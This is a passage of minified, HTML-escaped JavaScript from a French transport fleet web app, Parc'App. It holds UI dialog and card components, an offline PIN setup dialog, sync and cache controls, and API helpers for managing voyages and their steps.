data-[state=open]:fade-in-0&quot;,e),...t}));sz.displayName=oy.displayName;const yn=I.forwardRef(({className:e,children:t,...r},n)=&gt;a.jsxs(Kde,{children:[a.jsx(sz,{}),a.jsxs(ly,{ref:n,className:nr(&quot;fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border bg-background p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg&quot;,e),...r,children:[t,a.jsxs(B4,{className:&quot;absolute right-4 top-4 rounded-sm opacity-70 ring-offset-background transition-opacity hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none data-[state=open]:bg-accent data-[state=open]:text-muted-foreground&quot;,children:[a.jsx(Nn,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{className:&quot;sr-only&quot;,children:&quot;Close&quot;})]})]})]}));yn.displayName=ly.displayName;const Cn=({className:e,...t})=&gt;a.jsx(&quot;div&quot;,{className:nr(&quot;flex flex-col space-y-1.5 text-center sm:text-left&quot;,e),...t});Cn.displayName=&quot;DialogHeader&quot;;const Na=({className:e,...t})=&gt;a.jsx(&quot;div&quot;,{className:nr(&quot;flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2&quot;,e),...t});Na.displayName=&quot;DialogFooter&quot;;const In=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(cy,{ref:r,className:nr(&quot;text-lg font-semibold leading-none tracking-tight&quot;,e),...t}));In.displayName=cy.displayName;const Mn=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(uy,{ref:r,className:nr(&quot;text-sm text-muted-foreground&quot;,e),...t}));Mn.displayName=uy.displayName;const Yde=Dg(&quot;relative w-full rounded-lg border p-4 [&amp;&gt;svg~*]:pl-7 [&amp;&gt;svg+div]:translate-y-[-3px] [&amp;&gt;svg]:absolute [&amp;&gt;svg]:left-4 [&amp;&gt;svg]:top-4 [&amp;&gt;svg]:text-foreground&quot;,{variants:{variant:{default:&quot;bg-background text-foreground&quot;,destructive:&quot;border-destructive/50 text-destructive dark:border-destructive [&amp;&gt;svg]:text-destructive&quot;}},defaultVariants:{variant:&quot;default&quot;}}),lu=I.forwardRef(({className:e,variant:t,...r},n)=&gt;a.jsx(&quot;div&quot;,{ref:n,role:&quot;alert&quot;,className:nr(Yde({variant:t}),e),...r}));lu.displayName=&quot;Alert&quot;;const kS=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(&quot;h5&quot;,{ref:r,className:nr(&quot;mb-1 font-medium leading-none tracking-tight&quot;,e),...t}));kS.displayName=&quot;AlertTitle&quot;;const cu=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(&quot;div&quot;,{ref:r,className:nr(&quot;text-sm [&amp;_p]:leading-relaxed&quot;,e),...t}));cu.displayName=&quot;AlertDescription&quot;;function oz({open:e,onOpenChange:t,user:r,onSuccess:n}){const{loginAsync:i}=dy(),{toast:s}=Er(),[o,l]=I.useState(&quot;&quot;),[c,d]=I.useState(&quot;&quot;),[u,h]=I.useState(&quot;&quot;),[p,A]=I.useState(null),[y,v]=I.useState(!1),[w,j]=I.useState(!1),[E,S]=I.useState(&quot;password&quot;),_=async R=&gt;{R.preventDefault(),A(null),v(!0);try{const T=r.email?{email:r.email,password:o}:{phone:r.phone||&quot;&quot;,password:o};await i(T),l(&quot;&quot;),S(&quot;pin&quot;)}catch(T){A(T.message||&quot;Mot de passe incorrect&quot;)}finally{v(!1)}},C=async R=&gt;{if(R.preventDefault(),A(null),c.length&lt;An.PIN_LENGTH_MIN||c.length&gt;An.PIN_LENGTH_MAX){A(`Le PIN doit contenir entre ${An.PIN_LENGTH_MIN} et ${An.PIN_LENGTH_MAX} chiffres`);return}if(!/^\d+$/.test(c)){A(&quot;Le PIN ne doit contenir que des chiffres&quot;);return}if(c!==u){A(&quot;Les PIN ne correspondent pas&quot;);return}j(!0);try{const T=r.name||r.email||`Utilisateur ${r.id}`,M=r.role?[r.role]:[];await BS(r.id,T,M,c),d(&quot;&quot;),h(&quot;&quot;),S(&quot;password&quot;),s({title:&quot;PIN offline configuré&quot;,description:&quot;Vous pouvez maintenant accéder à l&#039;application en mode offline avec votre PIN.&quot;}),n?.(),t(!1)}catch(T){const M=T instanceof Error?T.message:&quot;Erreur lors de la création du profil offline&quot;;A(M)}finally{j(!1)}},Q=()=&gt;{l(&quot;&quot;),d(&quot;&quot;),h(&quot;&quot;),A(null),S(&quot;password&quot;),t(!1)};return a.jsx(En,{open:e,onOpenChange:t,children:a.jsxs(yn,{className:&quot;sm:max-w-md&quot;,children:[a.jsxs(Cn,{children:[a.jsxs(In,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Hd,{className:&quot;h-5 w-5&quot;}),E===&quot;password&quot;?&quot;Vérification du mot de passe&quot;:&quot;Configurer le PIN offline&quot;]}),a.jsx(Mn,{children:E===&quot;password&quot;?&quot;Veuillez entrer votre mot de passe pour configurer l&#039;accès offline&quot;:&quot;Définissez un PIN de 4 à 6 chiffres pour déverrouiller l&#039;application en mode offline&quot;})]}),E===&quot;password&quot;?a.jsxs(&quot;form&quot;,{onSubmit:_,className:&quot;space-y-4&quot;,children:[p&amp;&amp;a.jsxs(lu,{variant:&quot;destructive&quot;,children:[a.jsx(Kn,{className:&quot;h-4 w-4&quot;}),a.jsx(cu,{children:p})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;password&quot;,children:&quot;Mot de passe&quot;}),a.jsx(Xe,{id:&quot;password&quot;,type:&quot;password&quot;,value:o,onChange:R=&gt;l(R.target.value),placeholder:&quot;Entrez votre mot de passe&quot;,required:!0,autoFocus:!0,disabled:y})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex justify-end gap-2&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:Q,disabled:y,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,disabled:y||!o,children:y?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;mr-2 h-4 w-4 animate-spin&quot;}),&quot;Vérification...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(vse,{className:&quot;mr-2 h-4 w-4&quot;}),&quot;Continuer&quot;]})})]})]}):a.jsxs(&quot;form&quot;,{onSubmit:C,className:&quot;space-y-4&quot;,children:[p&amp;&amp;a.jsxs(lu,{variant:&quot;destructive&quot;,children:[a.jsx(Kn,{className:&quot;h-4 w-4&quot;}),a.jsx(cu,{children:p})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;pin&quot;,children:[&quot;PIN (&quot;,An.PIN_LENGTH_MIN,&quot;-&quot;,An.PIN_LENGTH_MAX,&quot; chiffres)&quot;]}),a.jsx(Xe,{id:&quot;pin&quot;,type:&quot;password&quot;,inputMode:&quot;numeric&quot;,pattern:&quot;[0-9]*&quot;,value:c,onChange:R=&gt;{const T=R.target.value.replace(/\D/g,&quot;&quot;);T.length&lt;=An.PIN_LENGTH_MAX&amp;&amp;d(T)},placeholder:&quot;Ex: 1234&quot;,required:!0,autoFocus:!0,disabled:w,maxLength:An.PIN_LENGTH_MAX})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;confirmPin&quot;,children:&quot;Confirmer le PIN&quot;}),a.jsx(Xe,{id:&quot;confirmPin&quot;,type:&quot;password&quot;,inputMode:&quot;numeric&quot;,pattern:&quot;[0-9]*&quot;,value:u,onChange:R=&gt;{const T=R.target.value.replace(/\D/g,&quot;&quot;);T.length&lt;=An.PIN_LENGTH_MAX&amp;&amp;h(T)},placeholder:&quot;Ex: 1234&quot;,required:!0,disabled:w,maxLength:An.PIN_LENGTH_MAX})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex justify-end gap-2&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;{S(&quot;password&quot;),d(&quot;&quot;),h(&quot;&quot;),A(null)},disabled:w,children:&quot;Retour&quot;}),a.jsx(ge,{type:&quot;submit&quot;,disabled:w||!c||!u,children:w?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;mr-2 h-4 w-4 animate-spin&quot;}),&quot;Création...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(Hd,{className:&quot;mr-2 h-4 w-4&quot;}),&quot;Configurer&quot;]})})]})]})]})})}function Zde({onRefresh:e}){const t=k4(),{data:r}=ih(),n=eo(),{toast:i}=Er(),[s,o]=I.useState(0),[l,c]=I.useState(()=&gt;{try{return navigator.onLine}catch{return!0}}),[d,u]=I.useState(!1),[h,p]=I.useState(!1),[A,y]=I.useState(!1),{data:v}=hy(),w=v?.voyage||null;I.useEffect(()=&gt;{const _=()=&gt;{o(gS())},C=()=&gt;{if(w?.id){const R=gc(w.id);p(!!R&amp;&amp;!!R.voyage&amp;&amp;!!R.trips)}else p(!1)};_(),C();const Q=setInterval(()=&gt;{_(),C()},2e3);return()=&gt;clearInterval(Q)},[w?.id]),I.useEffect(()=&gt;{const _=()=&gt;c(!0),C=()=&gt;c(!1);return window.addEventListener(&quot;online&quot;,_),window.addEventListener(&quot;offline&quot;,C),()=&gt;{window.removeEventListener(&quot;online&quot;,_),window.removeEventListener(&quot;offline&quot;,C)}},[]);const j=()=&gt;{n.invalidateQueries(),e?.(),i({title:&quot;Rafraîchissement&quot;,description:&quot;Les données sont en cours de rafraîchissement...&quot;})},E=()=&gt;{if(confirm(&quot;Vider le cache ? Cela supprimera toutes les données mises en cache et rechargera la page.&quot;))try{const _=xS();n.clear(),i({title:&quot;Cache vidé&quot;,description:`${_} élément(s) supprimé(s). Rechargement...`}),setTimeout(()=&gt;window.location.reload(),1e3)}catch{i({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible de vider le cache.&quot;})}},S=async()=&gt;{if(!(!l||s===0)){u(!0);try{const{success:_,failed:C}=await T4();_&gt;0&amp;&amp;(i({title:&quot;Synchronisation réussie&quot;,description:`${_} action(s) synchronisée(s) avec succès.`}),await new Promise(Q=&gt;setTimeout(Q,1500)),n.invalidateQueries({queryKey:[&quot;/api/driver/current-voyage&quot;]}),setTimeout(()=&gt;{n.invalidateQueries({queryKey:[&quot;/api/voyages&quot;]})},1e3)),C&gt;0&amp;&amp;i({variant:&quot;destructive&quot;,title:&quot;Erreur de synchronisation&quot;,description:`${C} action(s) n&#039;ont pas pu être synchronisées.`})}catch{i({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Une erreur est survenue lors de la synchronisation.&quot;})}finally{u(!1)}}};return a.jsxs(&quot;header&quot;,{className:&quot;flex flex-col gap-2 p-4 border-b bg-card&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between gap-2 pb-2 border-b&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex h-8 w-8 items-center justify-center rounded-lg bg-primary/10 p-1&quot;,children:a.jsx(&quot;img&quot;,{src:&quot;/logo-parc-app.png&quot;,alt:&quot;Parc&#039;App Logo&quot;,className:&quot;h-full w-full object-contain&quot;})}),a.jsx(&quot;h1&quot;,{className:&quot;text-base font-semibold&quot;,children:&quot;Parc&#039;App&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 flex-shrink-0&quot;,children:[a.jsx(o0e,{isOnline:l,hasCache:h}),s&gt;0&amp;&amp;a.jsx(yt,{variant:l?&quot;secondary&quot;:&quot;destructive&quot;,className:&quot;text-xs flex items-center gap-1&quot;,children:l?a.jsxs(a.Fragment,{children:[a.jsx(lv,{className:&quot;h-3 w-3&quot;}),s,&quot; en attente&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(dse,{className:&quot;h-3 w-3&quot;}),s,&quot; hors ligne&quot;]})}),l&amp;&amp;s&gt;0&amp;&amp;a.jsx(ge,{variant:&quot;outline&quot;,size:&quot;sm&quot;,onClick:S,disabled:d,className:&quot;h-8 text-xs&quot;,children:d?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-3 w-3 mr-1 animate-spin&quot;}),&quot;Sync...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(lv,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Synchroniser&quot;]})}),a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:j,className:&quot;h-8 w-8&quot;,title:&quot;Rafraîchir&quot;,children:a.jsx(p4,{className:&quot;h-4 w-4&quot;})}),a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:E,className:&quot;h-8 w-8&quot;,title:&quot;Vider le cache&quot;,children:a.jsx(Ns,{className:&quot;h-4 w-4&quot;})}),r&amp;&amp;a.jsxs(ez,{children:[a.jsx(tz,{asChild:!0,children:a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,className:&quot;h-8 w-8&quot;,title:&quot;Menu utilisateur&quot;,children:a.jsx(nh,{className:&quot;h-4 w-4&quot;})})}),a.jsxs(jS,{align:&quot;end&quot;,children:[a.jsx(NS,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col space-y-1&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium&quot;,children:r.username||r.name||r.email}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:r.role})]})}),a.jsx(xv,{}),a.jsxs(Av,{onClick:()=&gt;y(!0),children:[a.jsx(Hd,{className:&quot;mr-2 h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:&quot;Configurer PIN offline&quot;})]}),a.jsx(xv,{}),a.jsxs(Av,{onClick:()=&gt;t.mutate(),disabled:t.isPending,children:[a.jsx(m4,{className:&quot;mr-2 h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:t.isPending?&quot;Déconnexion...&quot;:&quot;Se déconnecter&quot;})]})]})]})]})]}),a.jsx(&quot;div&quot;,{className:&quot;flex items-center gap-3&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col gap-1 flex-1 min-w-0&quot;,children:[w?.title&amp;&amp;a.jsx(&quot;span&quot;,{className:&quot;text-xl font-bold text-primary truncate&quot;,children:w.title}),w?.code&amp;&amp;a.jsx(&quot;span&quot;,{className:&quot;text-sm text-muted-foreground truncate&quot;,children:w.code})]})}),r&amp;&amp;a.jsx(oz,{open:A,onOpenChange:y,user:r,onSuccess:()=&gt;{}})]})}function Jde({activeTab:e,onTabChange:t}){const r=[{id:&quot;voyage&quot;,label:&quot;Voyage&quot;,icon:ei},{id:&quot;journal&quot;,label:&quot;Journal&quot;,icon:po},{id:&quot;aide&quot;,label:&quot;Aide&quot;,icon:Gl}];return a.jsx(&quot;nav&quot;,{className:&quot;fixed bottom-0 left-0 right-0 border-t bg-card z-50&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;flex items-center justify-around h-16&quot;,children:r.map(n=&gt;{const i=n.icon,s=e===n.id;return a.jsxs(&quot;button&quot;,{onClick:()=&gt;t(n.id),className:nr(&quot;flex flex-col items-center justify-center gap-1 flex-1 h-full&quot;,&quot;transition-colors&quot;,s?&quot;text-primary&quot;:&quot;text-muted-foreground hover:text-foreground&quot;),children:[a.jsx(i,{className:nr(&quot;h-5 w-5&quot;,s&amp;&amp;&quot;stroke-[2.5]&quot;)}),a.jsx(&quot;span&quot;,{className:&quot;text-xs font-medium&quot;,children:n.label})]},n.id)})})})}async function lz(e){return await $t(`/api/voyages/${e}/etapes`)}async function uw(e,t){return await $t(`/api/voyages/${e}/etapes/${t}/reach`,{method:&quot;POST&quot;})}const Xde=Object.freeze(Object.defineProperty({__proto__:null,getVoyageSteps:lz,reachVoyageStep:uw},Symbol.toStringTag,{value:&quot;Module&quot;}));let x7=!1,Ix=null,uN=new Set,dN=new Set,fN=navigator.onLine;function efe(){if(x7)return;x7=!0;const e=()=&gt;{fN=!0,uN.forEach(r=&gt;{try{r()}catch(n){console.error(&quot;[offlineSyncManager] Erreur dans un callback online:&quot;,n)}}),Ix&amp;&amp;clearTimeout(Ix),Ix=setTimeout(async()=&gt;{try{const{success:r,failed:n}=await T4();r&gt;0&amp;&amp;(await new Promise(i=&gt;setTimeout(i,1500)),jt.invalidateQueries({queryKey:[&quot;/api/driver/current-voyage&quot;]}),setTimeout(()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;]})},1e3))}catch(r){console.error(&quot;[offlineSyncManager] Erreur lors de la synchronisation globale:&quot;,r)}},1e3)},t=()=&gt;{fN=!1,Ix&amp;&amp;clearTimeout(Ix),dN.forEach(r=&gt;{try{r()}catch{}})};window.addEventListener(&quot;online&quot;,e),window.addEventListener(&quot;offline&quot;,t),navigator.onLine&amp;&amp;e()}function tfe(e,t){return efe(),uN.add(e),dN.add(t),()=&gt;{uN.delete(e),dN.delete(t)}}function v7(){return fN}function xy(){const[e,t]=I.useState(v7),{toast:r}=Er();return I.useEffect(()=&gt;{const i=tfe(()=&gt;{t(!0)},()=&gt;{t(!1)});return t(v7()),i},[]),{isOnline:e,executeAction:async(i,s,o)=&gt;{if(e)try{return await s()}catch(l){if(!navigator.onLine){t(!1);const c=await mv(i);return r({title:&quot;Action enregistrée hors ligne&quot;,description:o||&quot;L&#039;action sera synchronisée automatiquement quand la connexion reviendra.&quot;}),c}throw l}else{const l=await mv(i);return r({title:&quot;Action enregistrée hors ligne&quot;,description:o||&quot;L&#039;action sera synchronisée automatiquement quand la connexion reviendra.&quot;}),l}}}}function rfe(e,t){const r=gc(e);let n=r?.steps;if(!n){const i=jt.getQueryData([&quot;/api/voyages&quot;,e,&quot;etapes&quot;]);i&amp;&amp;(n=i)}if(n){const i=new Date().toISOString(),s=d=&gt;{if(!d||!d.steps||!Array.isArray(d.steps))return d||{steps:[],currentStepId:null};if(!d.steps.some(y=&gt;y.id===t))return{...d,steps:d.steps.map(y=&gt;({...y}))};let h=d.steps.map(y=&gt;y.id===t?{...y,reachedAt:i}:{...y});const p=h.findIndex(y=&gt;y.id===t);let A=null;if(p&gt;=0)for(let y=p+1;y&lt;h.length;y++){const v=h[y];if(!v.reachedAt&amp;&amp;!v.skippedAt){A=v.id;break}}return{...d,currentStepId:A,steps:h}},o={outbound:s(n.outbound),inbound:s(n.inbound)};let l=r?.trips||[];o.inbound?.steps&amp;&amp;Array.isArray(o.inbound.steps)&amp;&amp;o.inbound.steps.every(u=&gt;u.reachedAt||u.skippedAt)&amp;&amp;o.inbound.steps.length&gt;0&amp;&amp;(l=l.map(u=&gt;u.direction===&quot;inbound&quot;&amp;&amp;u.status===&quot;in_progress&quot;?{...u,status:&quot;completed&quot;,endedAt:new Date().toISOString()}:u)),fy(e,{voyage:r?.voyage,trips:l,steps:o}),jt.setQueryData([&quot;/api/driver/current-voyage&quot;],d=&gt;d&amp;&amp;{...d,trips:l.map(u=&gt;({...u})),_updatedAt:Date.now()});const c={outbound:{...o.outbound,steps:o.outbound.steps.map(d=&gt;({...d}))},inbound:{...o.inbound,steps:o.inbound.steps.map(d=&gt;({...d}))},_updatedAt:Date.now()};return jt.setQueryData([&quot;/api/voyages&quot;,e,&quot;etapes&quot;],d=&gt;c),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,e,&quot;etapes&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/driver/current-voyage&quot;]}),!0}else return!1}function dw(e){const[t,r]=I.useState(()=&gt;{try{return navigator.onLine}catch{return!0}});I.useEffect(()=&gt;{const o=()=&gt;r(!0),l=()=&gt;r(!1);try{return window.addEventListener(&quot;online&quot;,o),window.addEventListener(&quot;offline&quot;,l),()=&gt;{window.removeEventListener(&quot;online&quot;,o),window.removeEventListener(&quot;offline&quot;,l)}}catch{}},[]);const i=(e?gc(e):null)?.steps,s={outbound:{direction:null,currentStepId:null,steps:[]},inbound:{direction:null,currentStepId:null,steps:[]}};return cr({queryKey:[&quot;/api/voyages&quot;,e,&quot;etapes&quot;],queryFn:async()=&gt;{if(e){const o=gc(e);if(o?.steps&amp;&amp;(o.steps.outbound?.steps?.length&gt;0||o.steps.inbound?.steps?.length&gt;0)&amp;&amp;!t)return o.steps}if(!t&amp;&amp;e)return s;try{const o=await lz(e),l=o.outbound?.steps?.length&gt;0||o.inbound?.steps?.length&gt;0;if(e&amp;&amp;l)try{const c=gc(e);fy(e,{voyage:c?.voyage,trips:c?.trips,steps:o})}catch{}return o}catch(o){if(e){const l=gc(e);if(l?.steps&amp;&amp;(l.steps.outbound?.steps?.length&gt;0||l.steps.inbound?.steps?.length&gt;0))return l.steps}if(o instanceof Error&amp;&amp;(o.message.includes(&quot;404&quot;)||o.status===404))return s;throw o instanceof Error&amp;&amp;(o.message.includes(&quot;ERR_HTTP2&quot;)||o.message.includes(&quot;ERR_NETWORK&quot;)||o.message.includes(&quot;Failed to fetch&quot;)||o.message.includes(&quot;network&quot;)),o}},enabled:!!e,placeholderData:i&amp;&amp;(i.outbound?.steps?.length&gt;0||i.inbound?.steps?.length&gt;0)?i:s,initialData:i&amp;&amp;(i.outbound?.steps?.length&gt;0||i.inbound?.steps?.length&gt;0)?i:s,refetchInterval:!1,staleTime:t?0:1/0,gcTime:t?300*1e3:1/0,retry:(o,l)=&gt;{if(l instanceof Error&amp;&amp;(l.message.includes(&quot;ERR_HTTP2&quot;)||l.message.includes(&quot;ERR_NETWORK&quot;)||l.message.includes(&quot;Failed to fetch&quot;)||l.message.includes(&quot;network&quot;))&amp;&amp;e){const c=gc(e);if(c?.steps&amp;&amp;(c.steps.outbound?.steps?.length&gt;0||c.steps.inbound?.steps?.length&gt;0))return!1}return o&lt;1},retryDelay:1e3,throwOnError:!1,useErrorBoundary:!1,onError:o=&gt;{},select:o=&gt;{if(!o){if(e){const c=gc(e);if(c?.steps&amp;&amp;(c.steps.outbound?.steps?.length&gt;0||c.steps.inbound?.steps?.length&gt;0))return c.steps}return s}if(o.outbound?.steps?.length&gt;0||o.inbound?.steps?.length&gt;0)return o;if(e){const c=gc(e);if(c?.steps&amp;&amp;(c.steps.outbound?.steps?.length&gt;0||c.steps.inbound?.steps?.length&gt;0))return c.steps}return o}})}function nfe(){const{toast:e}=Er(),t=xy();return _r({mutationFn:async({voyageId:n,stepId:i})=&gt;{if(!t)throw new Error(&quot;Hook offline non disponible&quot;);if(t){const s=await t.executeAction({type:&quot;reachStep&quot;,voyageId:n,stepId:i},()=&gt;uw(n,i),&quot;L&#039;étape sera validée automatiquement quand la connexion reviendra.&quot;);return typeof s==&quot;string&quot;?{message:&quot;Étape enregistrée hors ligne&quot;,etape:{id:i,reachedAt:new Date().toISOString()}}:s}return uw(n,i)},onSuccess:async(n,i)=&gt;{const s=!navigator.onLine,o=n.message?.includes(&quot;hors ligne&quot;)||n.message?.includes(&quot;enregistrée&quot;)||n.message?.includes(&quot;offline&quot;)||s;let l=o;if(!o&amp;&amp;s&amp;&amp;(l=!0),l){const c=gc(i.voyageId);let d=c?.steps;if(!d){const u=jt.getQueryData([&quot;/api/voyages&quot;,i.voyageId,&quot;etapes&quot;]);u&amp;&amp;(d=u)}if(d){const u=new Date().toISOString(),h=v=&gt;{if(!v||!v.steps||!Array.isArray(v.steps))return v||{steps:[],currentStepId:null};if(!v.steps.some(_=&gt;_.id===i.stepId))return{...v,steps:v.steps.map(_=&gt;({..._}))};let j=v.steps.map(_=&gt;_.id===i.stepId?{..._,reachedAt:u}:{..._});const E=j.findIndex(_=&gt;_.id===i.stepId);let S=null;if(E&gt;=0)for(let _=E+1;_&lt;j.length;_++){const C=j[_];if(!C.reachedAt&amp;&amp;!C.skippedAt){S=C.id;break}}return{...v,currentStepId:S,steps:j}},p={outbound:h(d.outbound),inbound:h(d.inbound)};fy(i.voyageId,{voyage:c?.voyage,trips:c?.trips,steps:p});const A={outbound:{...p.outbound,steps:p.outbound.steps.map(v=&gt;({...v}))},inbound:{...p.inbound,steps:p.inbound.steps.map(v=&gt;({...v}))},_updatedAt:Date.now()};jt.setQueryData([&quot;/api/voyages&quot;,i.voyageId,&quot;etapes&quot;],v=&gt;A),window.dispatchEvent(new CustomEvent(&quot;offlineStepUpdated&quot;,{detail:{voyageId:i.voyageId,stepId:i.stepId}})),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,i.voyageId,&quot;etapes&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/driver/current-voyage&quot;]});const y=A;setTimeout(()=&gt;{jt.setQueryData([&quot;/api/voyages&quot;,i.voyageId,&quot;etapes&quot;],v=&gt;({...y,_updatedAt:Date.now()}))},50)}}jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,i.voyageId,&quot;etapes&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,i.voyageId]}),jt.invalidateQueries({queryKey:[&quot;/api/driver/current-voyage&quot;]}),navigator.onLine&amp;&amp;!o&amp;&amp;await Promise.all([jt.refetchQueries({queryKey:[&quot;/api/driver/current-voyage&quot;]}),jt.refetchQueries({queryKey:[&quot;/api/voyages&quot;,i.voyageId,&quot;etapes&quot;]})]),e({title:&quot;Succès&quot;,description:n.message||&quot;L&#039;étape a été marquée comme atteinte&quot;})},onError:n=&gt;{let i=&quot;Impossible de marquer l&#039;étape comme atteinte&quot;,s=&quot;Erreur&quot;;if(n?.response?.data?.requires_unloading_weighing||n?.requires_unloading_weighing)s=&quot;Pesée de livraison requise&quot;,i=n?.response?.data?.detail||n?.response?.data?.error||n?.message||&quot;Vous devez enregistrer le ticket de pesée de livraison avant de pouvoir clôturer le voyage. Veuillez enregistrer le ticket de pesée de livraison via la carte PESÉE.&quot;;else if(n?.response?.data?.error||n?.response?.data?.message)i=n.response.data.detail||n.response.data.error||n.response.data.message,n.response.data.message&amp;&amp;n.response.data.message!==i&amp;&amp;(i=`${n.response.data.message}: ${i}`);else if(n?.message){const o=n.message.split(&quot;: &quot;);o.length&gt;1?i=o.slice(1).join(&quot;: &quot;):i=n.message}e({variant:&quot;destructive&quot;,title:s,description:i,duration:n?.response?.data?.requires_unloading_weighing?8e3:5e3})}})}async function vy(e,t){const r=new URLSearchParams;e&amp;&amp;r.append(&quot;status&quot;,e),t&amp;&amp;r.append(&quot;with_unread_count&quot;,&quot;1&quot;);const n=r.toString(),i=`/api/voyages${n?`?${n}`:&quot;&quot;}`;return await $t(i)}async function _S(e){try{return await $t(`/api/voyages/${e}`)}catch(t){if(t instanceof Error&amp;&amp;(t.message.includes(&quot;404&quot;)||t.message.includes(&quot;Not Found&quot;)))return null;throw t}}async function cz(e){return await $t(&quot;/api/voyages&quot;,{method:&quot;POST&quot;,body:e})}async function uz(e,t){return await $t(`/api/voyages/${e}`,{method:&quot;PATCH&quot;,body:t})}async function dz(e){return await $t(`/api/voyages/${e}`,{method:&quot;DELETE&quot;})}async function fz(e){return await $t(`/api/voyages/${e}/has-weighing`)}async function hN(e){return await $t(`/api/voyages/${e}/start`,{method:&quot;POST&quot;})}async function mN(e){return await $t(`/api/voyages/${e}/start-return`,{method:&quot;POST&quot;})}async function hz(e){return await $t(`/api/voyages/${e}/close`,{method:&quot;POST&quot;})}async function mz(e,t){return await $t(`/api/voyages/${e}/trips/quick-create`,{method:&quot;POST&quot;,body:{mode:t}})}async function pz(e){try{return await $t(`/api/voyages/${e}/mission-order`)}catch(t){if(t instanceof Error&amp;&amp;(t.message.includes(&quot;404&quot;)||t.message.includes(&quot;Not Found&quot;)))return null;throw t}}async function gz(){return await $t(&quot;/api/driver/completed-voyages&quot;)}async function Az(){return await $t(&quot;/api/driver/planned-voyages&quot;)}const BI=Object.freeze(Object.defineProperty({__proto__:null,closeVoyage:hz,createVoyage:cz,deleteVoyage:dz,fetchDriverCompletedVoyages:gz,fetchDriverPlannedVoyages:Az,fetchVoyage:_S,fetchVoyageOrderData:pz,fetchVoyages:vy,hasVoyageWeighing:fz,quickCreateTrips:mz,startVoyage:hN,startVoyageReturn:mN,updateVoyage:uz},Symbol.toStringTag,{value:&quot;Module&quot;})),it=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(&quot;div&quot;,{ref:r,className:nr(&quot;shadcn-card rounded-xl border bg-card border-card-border text-card-foreground shadow-sm&quot;,e),...t}));it.displayName=&quot;Card&quot;;const br=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(&quot;div&quot;,{ref:r,className:nr(&quot;flex flex-col space-y-1.5 p-6&quot;,e),...t}));br.displayName=&quot;CardHeader&quot;;const jr=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(&quot;div&quot;,{ref:r,className:nr(&quot;text-2xl font-semibold leading-none tracking-tight&quot;,e),...t}));jr.displayName=&quot;CardTitle&quot;;const wn=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(&quot;div&quot;,{ref:r,className:nr(&quot;text-sm text-muted-foreground&quot;,e),...t}));wn.displayName=&quot;CardDescription&quot;;const Et=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(&quot;div&quot;,{ref:r,className:nr(&quot;p-6 pt-0&quot;,e),...t}));Et.displayName=&quot;CardContent&quot;;const _m=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(&quot;div&quot;,{ref:r,className:nr(&quot;flex items-center p-6 